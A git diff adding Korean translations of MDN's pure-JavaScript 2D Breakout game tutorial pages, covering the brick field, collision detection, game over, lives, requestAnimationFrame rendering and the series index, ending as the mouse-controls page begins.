diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/build_the_brick_field/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/build_the_brick_field/index.html" new file mode 100644 index 0000000000..9560da25e9 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/build_the_brick_field/index.html" @@ -0,0 +1,112 @@ +--- +title: 벽돌 만들기 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임")}}
+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Collision_detection")}}

+ +
+

이번 단계는 Gamedev Canvas tutorial의 여섯 번째 학습입니다. Gamedev-Canvas-workshop/lesson6.html에서 이번 학습의 소스코드를 확인할 수 있습니다.

+
+ +

게임플레이 원리를 수정한 후에, 우리는 게임에서 패배할 수 있게 되었습니다. 이것은 실제 게임에 보다 가까운 느낌이기 때문에 훌륭합니다. 하지만 벽과 패들에 공이 튀기는 것 말고 할 수 있는 것이 없기 때문에 금방 지루해집니다. 벽돌깨기 게임에서 진정으로 필요로 한 것은 공으로 파괴할 벽돌입니다. 이 것이 지금 우리가 만들 것입니다!

+ +

벽돌에 대한 변수 설정하기

+ +

이번 학습의 모든 목표는 벽돌들을 위한 코드를 2차원 배열로 동작하는 반복문을 통해 제공하는 것입니다. 그러나 먼저 우리는 가로, 세로, 행, 열 등 벽돌에 대한 값을 정의할 몇몇 변수들을 설정해야 합니다. 지난 학습에서 작성한 코드에 아래 코드를 추가해봅시다.

+ +
var brickRowCount = 3;
+var brickColumnCount = 5;
+var brickWidth = 75;
+var brickHeight = 20;
+var brickPadding = 10;
+var brickOffsetTop = 30;
+var brickOffsetLeft = 30;
+ +

우리는 벽돌 배열 행과 열의 수, 그것들의 가로, 세로길이, 각 벽돌이 서로 닿지 않을 정도의 간격과 벽돌이 캔버스의 모서리에 닿지 않게 할 오프셋 변수들을 정의했습니다.

+ +

우리는 2차원 배열에 벽돌을 담았습니다. 배열은 열 c, 행 r, 그리고 배열의 각 객체엔 화면에 벽돌을 그릴 위치를 나타낼 x, y 위치를 가지고 있습니다. 위에서 변수를 선언한 코드 뒤에 아래 코드를 추가해봅시다.

+ +
var bricks = [];
+for(var c=0; c<brickColumnCount; c++) {
+    bricks[c] = [];
+    for(var r=0; r<brickRowCount; r++) {
+        bricks[c][r] = { x: 0, y: 0 };
+    }
+}
+ +

위 코드는 행과 열 수만큼 반복되면서 새로운 벽돌을 만듭니다. 각 벽돌 객체는 이후에 충돌감지에 사용됩니다.

+ +

벽돌을 그리는 방법

+ +

이제 배열안의 모든 벽돌을 반복해서 화면에 그려줄 함수를 만들어봅시다. 코드는 아래와 같습니다.

+ +
function drawBricks() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            bricks[c][r].x = 0;
+            bricks[c][r].y = 0;
+            ctx.beginPath();
+            ctx.rect(0, 0, brickWidth, brickHeight);
+            ctx.fillStyle = "#0095DD";
+            ctx.fill();
+            ctx.closePath();
+        }
+    }
+}
+ +

다시 행, 열 반복을 통해 각 벽돌의 x, y 값을 설정하고, 캔버스에 brickWidth * brickHeight 크기의 벽돌들을 그립니다. 문제는 모든 벽돌들이 좌표 (0, 0) 위치해있다는 것입니다. 우리는 약간의 연산을 통해 각 벽돌의 x, y 값을 계산해야 합니다.

+ +
var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+ +

 

+ +

brickXbrickWidth + brickPaddingc를 곱하고, brickOffsetLeft를 더한 값입니다. brickY는 변수 r, brickHeight, brickOffsetTop 변수를 사용한다는 것을 제외하곤 동일합니다. 이제 모든 벽돌들을 올바른 위치에, 알맞은 간격을 두고, 캔버스 모서리로부터 오프셋 값만큼의 거리를 둔 상태로 그릴수 있게되었습니다.

+ +

brickXbrickY 값을 (0, 0) 대신에 좌표 값으로 할당한 후에 drawBricks 함수의 마지막 버전은 아래와 같을 것입니다. 이 코드는 drawpaddle 함수 아래에 추가해봅시다.

+ +
function drawBricks() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+            var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+            bricks[c][r].x = brickX;
+            bricks[c][r].y = brickY;
+            ctx.beginPath();
+            ctx.rect(brickX, brickY, brickWidth, brickHeight);
+            ctx.fillStyle = "#0095DD";
+            ctx.fill();
+            ctx.closePath();
+        }
+    }
+}
+ +

실제 벽돌을 그리기

+ +

이 학습에서 마지막으로 할 일은 drawBrick함수를 호출하는 코드를 draw함수 어딘가에, 되도록이면 시작하는 부분에, 캔버스를 초기화하는 부분과 공을 그리는 사이에 추가하는 것입니다.  아래 코드를 drawBall() 코드 위에 추가해봅시다.

+ +
drawBricks();
+
+ +

코드 비교해보기

+ +

이 부분에서 게임은 조금 더 흥미로워졌습니다.

+ +

{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/t1zqmzLp/","","395")}}

+ +
+

연습하기: 행과 열의 수를 바꿔서 벽돌의 수를 변경해보거나, 위치를 변경해봅시다.

+
+ +

다음 단계

+ +

이제 우리에겐 벽돌이 있습니다! 하지만 공은 벽돌들과의 반응이 없습니다. 우리는 다음 단계에서 이 문제에 대해 다룰 것입니다: 충돌 감지

+ +

 

+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Collision_detection")}}

+ +

 

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/collision_detection/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/collision_detection/index.html" new file mode 100644 index 0000000000..f312374938 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/collision_detection/index.html" @@ -0,0 +1,128 @@ +--- +title: 충돌 감지 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Collision_detection +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임")}}
+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}

+ +
+

이 학습은 Gamedev Canvas tutorial의 일곱 번째 단계입니다. Gamedev-Canvas-workshop/lesson7.html에서 이번 학습에서 완성된 코드를 확인할 수 있습니다.

+
+ +

지난 학습에서 우린 화면에 벽돌을 표현했습니다. 그러나 공은 벽돌은 그냥 지나가버리고 게임은 아직 흥미로워지려면 멀어보입니다. 우린 공이 벽돌을 파괴하고 튕겨져 나올 수 있도록 충돌 감지 기능을 고려해봐야 합니다.

+ +

물론 어떻게 적용할지는 우리가 결정할 문제입니다. 그러나 공이 벽돌에 닿았는지 계산하는 일은 꽤나 까다로울 수 있습니다. 왜냐하면 캔버스엔 이를 위한 기능이 없기 때문입니다.  이번 학습은 가능한 쉬운 방법으로 진행될 것입니다. 우린 공의 중앙이 어느 벽돌과 충돌하는지 확인할 것입니다. 이는 항상 완벽한 결과를 주진 않지만, 충돌 감지를 위한 정교한 방법은 무궁무진합니다. 그러나 이 방법 역시 기본적인 개념을 학습하기에 꽤 괜찮습니다.

+ +

충돌 감지 함수

+ +

이 모든 것을 시작하기 위해 우리는 모든 벽돌들을 순회하고 각 벽돌의 좌표를 공의 위치와 비교하는 충돌 감지 함수를 만들어야 합니다. 코드의 가독성을 향상시키기 위해 충돌 감지의 반복에서 사용할 벽돌 객체를 저장하는 b 변수를 정의할 것입니다.

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            // calculations
+        }
+    }
+}
+ +

만약 공의 중앙이 어떤 벽돌의 범위 내에 있을 경우, 공의 방향을 바꾸게 됩니다. 공이 벽돌 안에 존재하려면, 아래 4가지 조건이 참이어야 합니다.

+ + + +

이 조건을 코드로 작성해봅시다.

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
+                dy = -dy;
+            }
+        }
+    }
+}
+ +

위 코드를 keyUpHandler() 함수 아래에 추가해봅시다.

+ +

충돌 후에 벽돌을 사라지게 만들기

+ +

위의 코드는 우리가 의도한대로 작동할 것이고 공은 방향을 바꿀 것입니다. 문제는 벽돌이 그대로 있다는 것입니다. 우린 이미 공이 부딪힌 벽돌을 제거하기 위한 방법을 고민해봐야 합니다. 우리는 화면에 있는 벽돌을 그릴지 결정하는 변수를 추가해서 이 문제를 해결할 수 있습니다, 벽돌을 초기화하는 코드에, status 속성을 각 벽돌 객체에 추가해봅시다. 아래와 같이 말입니다.

+ +
var bricks = [];
+for(var c=0; c<brickColumnCount; c++) {
+    bricks[c] = [];
+    for(var r=0; r<brickRowCount; r++) {
+        bricks[c][r] = { x: 0, y: 0, status: 1 };
+    }
+}
+ +

다음으로 drawBricks 함수에서 벽돌들을 그리기 전에 status 속성을 확인해야 합니다. 만약 status가 1이라면 벽돌을 그리고, 만약 0이라면 이미 공이 치고간 벽돌이므로 우린 더이상 화면에 그릴 필요가 없습니다. 아래와 같이 drawBricks 함수를 수정해봅시다,

+ +
function drawBricks() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            if(bricks[c][r].status == 1) {
+                var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+                var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+                bricks[c][r].x = brickX;
+                bricks[c][r].y = brickY;
+                ctx.beginPath();
+                ctx.rect(brickX, brickY, brickWidth, brickHeight);
+                ctx.fillStyle = "#0095DD";
+                ctx.fill();
+                ctx.closePath();
+            }
+        }
+    }
+}
+ +

충돌 감지함수에서 상태 추적 및 업데이트

+ +

이제 collisonDectection 함수에 벽돌 status 속성을 포함시켜야 합니다. 만약 벽돌이 활성 상태(status 1)이라면 충돌이 일어났는지 확인해야 합니다. 만약 충돌이 발생했다면 다시 그리지 않게 벽돌의 속성을 0으로 변경해야 합니다. collisionDetection 함수를 아래와 같이 수정합시다.

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                }
+            }
+        }
+    }
+}
+ +

충돌 감지 활성화하기

+ +

마지막으로 할일은 draw함수에서 collisionDetection 함수를 호출하는 것입니다. 아래 코드를 draw 함수에, drawPaddle() 아래에 추가해봅시다.

+ +
collisionDetection();
+
+ +

코드 비교하기

+ +

이제 매 프레임마다 충돌 감지를 확인할 것입니다. 이제 우린 별돌을 파괴할 수 있습니다!

+ +

{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/mkwtxgc3/3/","","395")}}

+ +
+

연습하기: 벽돌이 부딪힐 때마다 색깔을 바꿔보세요.

+
+ +

다음 단계

+ +

우리는 충분히 여기까지 왔습니다! 이제 어덟 번째 장에서는 점수를 추가와 승패 판정 방법을 알아 볼 것입니다.

+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/finishing_up/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/finishing_up/index.html" new file mode 100644 index 0000000000..b23a4b6b33 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/finishing_up/index.html" @@ -0,0 +1,111 @@ +--- +title: 개발 마무리 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Finishing_up +tags: + - Canvas + - Games + - JavaScript +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

+ +
+

Gamedev Canvas tutorial.의 10 개의 레슨 중 마지막 단계 입니다. 이 수업을 마친 후 비교하여 살펴 볼 소스코드는 Gamedev-Canvas-workshop/lesson10.html. 여기서 찾아 볼 수 있습니다.

+
+ +

우리가 쓰는 모든 게임에 항상 개선해야 할 것이 있습니다. 예를 들어 이 게임에 2인용 플레이어를 추가할 수 있습니다. 한두 번 잘못 만들어 경기를 끝낼 수도 있습니다. 그러나 우리는 코드 렌더링을 향상시켜 발전할 수 있습니다.

+ +

플레이어에게 생명을 부여하기

+ +

생명을 구현하는 방법은 아주 간단하다. 먼저 변수를 선언했던 곳과 같은 장소에서  변수를 추가하여 생명 수를 저장합니다.

+ +
var lives = 3; //남은 생명 수
+ +

남은 생명 수를 표시하는 방법은 점수 카운터가 그려지는 것과 같은 형태 입니다. drawScore()함수 아래에 다음 기능을 추가 하십시오.

+ +
function drawLives() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Lives: "+lives, canvas.width-65, 20);
+}
+ +

지금까지 바닥에 닿으면 바로 게임을 끝내는 형식이였습니다. 이제 우리는 더 이상 게임을 이용할 수 없게 될 때까지 남은 생명 수를 줄일 것입니다. 또한 플레이어가 게임 오버되면 다시 생명과 블럭들을 리셋하여 공과 패들 위치를 재설정할 수 있습니다. draw() 함수는 다음 세 줄로 대체합니다:

+ +
alert("GAME OVER");
+document.location.reload();
+clearInterval(interval); // Needed for Chrome to end game
+
+ +

 

+ +

 

+ +

이를 통해 아래와 같이 약간 복잡한 논리를 추가할 수 있습니다:

+ +
lives--;
+if(!lives) {
+    alert("GAME OVER");
+    document.location.reload();
+    clearInterval(interval); // Needed for Chrome to end game
+}
+else {
+    x = canvas.width/2;
+    y = canvas.height-30;
+    dx = 2;
+    dy = -2;
+    paddleX = (canvas.width-paddleWidth)/2;
+}
+ +

자, 이제 공이 화면의 맨아래 가장자리에 맞으면 생명(lives)을 하나 뺍니다. 생명이 없다면 게임이 끝나고 아직 남아있다면 공의 위치와 패들의 위치가 재설정 됩니다.

+ +

남은 생명 표시 렌더링하기

+ +

이제 draw()함수 내에서 drawLives()에 생명 수를 추가하고 drawLives() 아래에 생명 수를 추가해야 합니다.

+ +
drawLives();
+
+ +

requestAnimationFrame()을 사용하여 랜더링 개선하기

+ +

이제 게임 역학과 연결이 되지 않고, 그것이 렌더링되는 방식에 대해 연구해 봅시다. {{domxref("window.requestAnimationFrame", "requestAnimationFrame")}} 브라우저가 현재 Replace를 사용하여 구현한 고정 프레임보다 게임을 더 잘 랜더링할 수 있도록 {{domxref("windowTimers.setInterval()", "setInterval()")}} 도와줍니다:

+ +
var interval = setInterval(draw, 10);
+ +

간단하게:

+ +
draw();
+ +

다음 각 인스턴스를 제거합니다:

+ +
clearInterval(interval); // Needed for Chrome to end game
+
+ +

그 다음, draw()함수의 맨 아래 (닫는 '}'바로 전에) 다음 줄을 추가하여 draw()함수가 반복적으로 자신을 호출하게 합니다:

+ +
requestAnimationFrame(draw);
+ +

이 draw() 함수는 현재 requestAnimationFrame() 루프 내에서 반복적으로 실행되고 있지만, 고정된 10ms 프레임 대신 프레임의 제어권을 브라우저에 다시 부여 합니다. 이는 프레임과 적절하게 일치하고 필요할 때만 모양을 만들 것입니다. 이것은 이전의 setInterval() 방법보다 더 효율적이고 부드럽게 애니메이션 루프를 만듭니다.

+ +

코드 비교하기

+ +

그것이 이 레슨의 전부입니다. 게임의 최종버전이 준비되 있고 시작할 준비가 되어 있습니다!

+ +

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/dfh2tpu1/","","395")}}

+ +
+

Exercise: 남은 생명에 따라 공이 패들에서 튕겨나가는 각도를 변경합니다.

+
+ +

게임 오버 - 마무리!

+ +

축하합니다! 당신은 모든 수업을 완수하였습니다! 이쯤 되면 이제 캔버스의 조작 기초와 간단한 2D 게임 구현 방법을 알게 되었을 것 입니다. 이제 몇 가지 프레임워크를 배우고 게임 개발을 해 본 좋은 시간이였습니다.

+ +

이 시리즈의 2D breakout game using Phaser 또는 Cyber Orb built in Phaser 튜토리얼을 확인해 볼 수 있습니다. Games section on MDN의 섹션에서 더 많은 지식과 영감을 얻으십시오.

+ +

 

+ +

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/game_over/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/game_over/index.html" new file mode 100644 index 0000000000..d0c72fb8b3 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/game_over/index.html" @@ -0,0 +1,77 @@ +--- +title: 게임 오버 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over +tags: + - 게임 + - 게임 오버 + - 그래픽 + - 자바스크립트 + - 초심자 + - 캔버스 + - 튜토리얼 +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임")}}
+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field")}}

+ +
+

이것은 Gamedev Canvas tutorial 의 다섯 번째 학습입니다. 이 학습을 통해 완성된 코드는 Gamedev-Canvas-workshop/lesson5.html 에서 확인할 수 있습니다.

+
+ +

공이 벽에서 튕겨져 나오는 것과 패들을 움직이는 것을 보는건 재밌지만, 더 진전이 필요합니다. 게임에서 질 수 있다면 좋겠습니다. 벽돌 깨기 게임에서 패배하는 구조는 꽤 단순합니다. 만약 패들이 공을 놓친다면, 공은 캔버스의 아래 면에 닿을 것이고, 그대로 게임은 끝납니다.

+ +

게임 오버 기능 적용하기

+ +

'게임 오버' 기능을 만들어봅시다. 아래에 세 번째 학습에서 작성한, 벽에서 공을 반사시키는 코드의 일부가 있습니다.

+ +
if(x + dx > canvas.width-ballRadius || x + dx < ballRadius) {
+    dx = -dx;
+}
+
+if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
+    dy = -dy;
+}
+ +

사면 모두에서 공을 튕겨내지 말고 왼쪽, 위쪽, 오른쪽, 세 면에만 적용해봅시다. 아래쪽 면에 닿는 순간 게임은 끝납니다. 우리는 공이 밑면에 충돌하는 순간 "게임 오버" 상태로 바뀌게 하기 위해 두 번째 if 블록을 수정할 것입니다. 우선 경고 메시지를 보여주고 페이지를 리로딩해서 게임을 다시 시작하게 할 것입니다. 두번째 if 블록을 아래와 같이 수정해봅시다.

+ +
if(y + dy < ballRadius) {
+    dy = -dy;
+} else if(y + dy > canvas.height-ballRadius) {
+    alert("GAME OVER");
+    document.location.reload();
+}
+ +

Paddle은 공을 튕겨내야지

+ +

이번 학습에서 할 마지막 일은 공과 패들 사이의 충돌 감지같은, 공을 게임 화면으로 되돌아가게 튕겨내는 기능을 만드는 것입니다. 가장 쉬운 방법은 공의 중심이 패들의 내부에 있는지 확인하는 것이다. 위에서 수정한 코드를 약간 고쳐봅시다.

+ +
if(y + dy < ballRadius) {
+    dy = -dy;
+} else if(y + dy > canvas.height-ballRadius) {
+    if(x > paddleX && x < paddleX + paddleWidth) {
+        dy = -dy;
+    }
+    else {
+        alert("GAME OVER");
+        document.location.reload();
+    }
+}
+ +

공이 캔버스의 밑면에 닿는 순간, 공이 패들의 안쪽에 있는지 확인해야 합니다. 만약 그렇다면, 우리가 기대하는대로 공은 튕겨져야 합니다. 그게 아니라면, 게임의 전과 같이 끝나야 합니다.

+ +

코드 비교하기

+ +

여기 완성된 코드가 있으니 작성한 코드와 비교해봅시다.

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/z4zy79fo/","","395")}}

+ +
+

연습: 공이 패들에 닿았을 때 공의 속도를 빠르게 만들어봅시다.

+
+ +

다음 단계

+ +

지금까지 아주 잘 하고 있습니다. 게임은 플레이 할 가치가 생겼고 이젠 게임이 끝날 수도 있습니다. 하지만 뭔가가 빠졌습니다. 여섯 번째 학습 — 벽돌 영역을 만들어보기 — 로 이동해서 몇 개의 벽돌을 만들어 봅시다.

+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field")}}

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/index.html" new file mode 100644 index 0000000000..8b0e4da888 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/index.html" @@ -0,0 +1,55 @@ +--- +title: 순수한 자바스크립트를 이용한 2D 벽돌깨기 게임 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임 +tags: + - 2D + - 게임 + - 자바스크립트 + - 캔버스 + - 튜토리얼 +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games")}}
+ +

{{Next("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기")}}

+ +

이 튜토리얼을 차례차례 진행하면서 우리는 HTML5 {{htmlelement("canvas")}} 로 렌더되는 순수하게 JavaScript로만 쓰여진 간단한 MDN 벽돌깨기 게임을 만들 것입니다.

+ +

모든 과정은 플레이 가능하고 편집가능한 라이브 샘플을 포함하고 있습니다. 이 샘플을 통해, 여러분은 중간 스테이지들이 어떻게 보여져야 하는지 확인할 수 있습니다. 여러분은 이미지의 렌더링과 움직임, 충돌 감지, 컨트롤 메카니즘들과 승리와 패배 상태와 같은 기본적인 게임 원리들을 구현하기 위해서, {{htmlelement("canvas")}}엘리먼트의 기본적인 사용 방법을  배우게 될 것입니다.

+ +

이 시리즈를 최대한 활용하려면 중급의 JavaScript 지식이 있어야 합니다. 이 튜토리얼을 끝낸 후에는 여러분은 스스로 간단한 웹 게임들을 만들 수 있게 될 것입니다.

+ +

Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives.

+ +

강의 내용

+ +

모든 강의 내용과 우리가 함께 만드는 MDN 벽돌깨기 게임의 다른 버전들은 GitHub에서 찾을 수 있습니다.:

+ +
    +
  1. 캔버스 생성과 그리기
  2. +
  3. 공 움직이기
  4. +
  5. 벽으로 부터 튕겨나오기
  6. +
  7. 패들과 키보드 컨트롤
  8. +
  9. 게임 오버
  10. +
  11. 벽돌 필드 만들기
  12. +
  13. 충돌 감지
  14. +
  15. 점수 추적과 승리
  16. +
  17. 마우스 컨트롤
  18. +
  19. 마무리
  20. +
+ +

웹 게임 개발의 확고한 지식을 얻기 위한 최고의 방법은 순수하게 JavaScript만 이용해서 시작하는 것입니다. 이후에, 여러분은 프로젝트에 프레임워크를 골라서 사용할 수도 있습니다.  프레임워크들은 JavaScript로 만들어진 도구일 뿐입니다. 따라서 여러분이 프레임워크를 사용하더라도, 프레임워크 밑에서 정확히 어떤 일이 일어나는지 알기 위해 언어를 배우는것이 좋습니다. 프레임워크들은 개발 속도를 올려주고, 게임의 지루한 부분들을 해결하는데 도움을 줍니다. 하지만 어떤 일들이 기대한대로 일어나지 않는다면, 여러분은 디버그를 시도하거나 여러분 스스로 순수하게 JavaScript만 이용한 솔루션을 작성할 수 도 있습니다.

+ +
+

노트: 만약 여러분이 게임 라이브러리를 이용한 2D 웹 게임 개발의 학습에 흥미가 있다면,  이 시리즈의 대응 파트인 2D breakout game using Phaser를 살펴보시기 바랍니다.

+
+ +
+

노트: 이 시리즈의 내용들은 게임개발 워크숍의 재료로 쓰일 수 있습니다. 또한, 만약 여러분이 게임개발에 있어 강연을 원한다면 이 튜토리얼에 기초한 Gamedev Canvas Content Kit를 활용할 수 있습니다.

+
+ +

다음 단계

+ +

좋습니다, 이제 시작하도록 합시다. 첫 번째 챕터인 캔버스 생성과 그리기 부터 시작합니다.

+ +

{{Next("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기")}} 

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/mouse_controls/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/mouse_controls/index.html" new file mode 100644 index 0000000000..e05faf32e8 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/mouse_controls/index.html" @@ -0,0 +1,57 @@ +--- +title: 마우스로 패들 조종하기 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Mouse_controls +tags: + - Canvas + - Games + - JavaScript +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls +--- +
{{GamesSidebar}}
+ +
